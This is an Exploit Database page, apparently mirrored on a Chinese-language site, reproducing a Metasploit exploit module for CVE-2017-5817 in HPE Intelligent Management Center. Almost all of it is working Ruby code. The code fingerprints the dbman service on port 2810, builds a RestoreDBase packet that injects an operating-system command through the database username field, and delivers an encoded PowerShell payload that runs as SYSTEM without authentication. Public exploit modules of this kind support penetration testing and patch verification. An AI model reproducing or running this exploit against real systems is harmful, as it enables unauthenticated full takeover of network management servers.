HPE iMC – dbman ‘RestoreDBase’ Remote Command Execution (Metasploit)

• Exploit Database
• 23 阅读

• 作者： Metasploit
  日期： 2018-01-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43492/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
  'Description'=> %q{
  This module exploits a remote command execution vulnerablity in
  Hewlett Packard Enterprise Intelligent Management Center before
  version 7.3 E0504P04.
  
  The dbman service allows unauthenticated remote users to restore
  a user-specified database (OpCode 10007), however the database
  connection username is not sanitized resulting in command injection,
  allowing execution of arbitrary operating system commands as SYSTEM.
  This service listens on TCP port 2810 by default.
  
  This module has been tested successfully on iMC PLAT v7.2 (E0403)
  on Windows 7 SP1 (EN).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'sztivi', # Discovery
  'Chris Lyne', # Python PoC (@lynerc)
  'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
  ],
  'References' =>
  [
  ['CVE', '2017-5817'],
  ['EDB', '43195'],
  ['ZDI', '17-341'],
  ['URL', 'https://www.securityfocus.com/bid/98469/info'],
  ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
  ],
  'Platform' => 'win',
  'Targets'=> [['Automatic', {}]],
  'Payload'=> { 'BadChars' => "\x00" },
  'DefaultOptions' => { 'WfsDelay' => 15 },
  'Privileged' => true,
  'DisclosureDate' => 'May 15 2017',
  'DefaultTarget'=> 0))
  register_options [Opt::RPORT(2810)]
  end
  
  def check
  # empty RestoreDBase packet
  pkt = [10007].pack('N')
  
  connect
  sock.put pkt
  res = sock.get_once
  disconnect
  
  # Expected reply:
  # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
  return CheckCode::Detected if res =~ /dbman/i
  
  CheckCode::Safe
  end
  
  def dbman_msg(database_user)
  data = ''
  
  db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
  database_type = "\x03" # MySQL
  restore_type = 'MANUAL'
  database_password = rand_text_alpha rand(1..5)
  database_port = rand_text_alpha rand(1..5)
  database_instance = rand_text_alpha rand(1..5)
  junk = rand_text_alpha rand(1..5)
  
  # database ip
  data << "\x04"
  data << [db_ip.length].pack('C')
  data << db_ip
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # junk
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x02\x01\x01"
  
  # database type
  data << "\x02"
  data << [database_type.length].pack('C')
  data << database_type
  
  # restore type
  data << "\x04"
  data << [restore_type.length].pack('C')
  data << restore_type
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # database user
  data << "\x04"
  data << "\x82"
  data << [database_user.length].pack('n')
  data << database_user
  
  # database password
  data << "\x04"
  data << [database_password.length].pack('C')
  data << database_password
  
  # database port
  data << "\x04"
  data << [database_port.length].pack('C')
  data << database_port
  
  # database instance
  data << "\x04"
  data << [database_instance.length].pack('C')
  data << database_instance
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x04"
  data << [junk.length].pack('C')
  data << junk
  
  # ???
  data << "\x30\x00"
  data << "\x02\x01\x01"
  
  data
  end
  
  def dbman_restoredbase_pkt(database_user)
  data = dbman_msg database_user
  
  # opcode 10007 (RestoreDBase)
  pkt = [10007].pack('N')
  
  # packet length
  pkt << "\x00\x00"
  pkt << [data.length + 4].pack('n')
  
  # packet data length
  pkt << "\x30\x82"
  pkt << [data.length].pack('n')
  
  # packet data
  pkt << data
  
  pkt
  end
  
  def execute_command(cmd, _opts = {})
  connect
  sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
  disconnect
  end
  
  def exploit
  command = cmd_psh_payload(
  payload.encoded,
  payload_instance.arch.first,
  { :remove_comspec => true, :encode_final_payload => true }
  )
  
  if command.length > 8000
  fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
  end
  
  print_status "Sending payload (#{command.length} bytes)..."
  execute_command command
  end
  end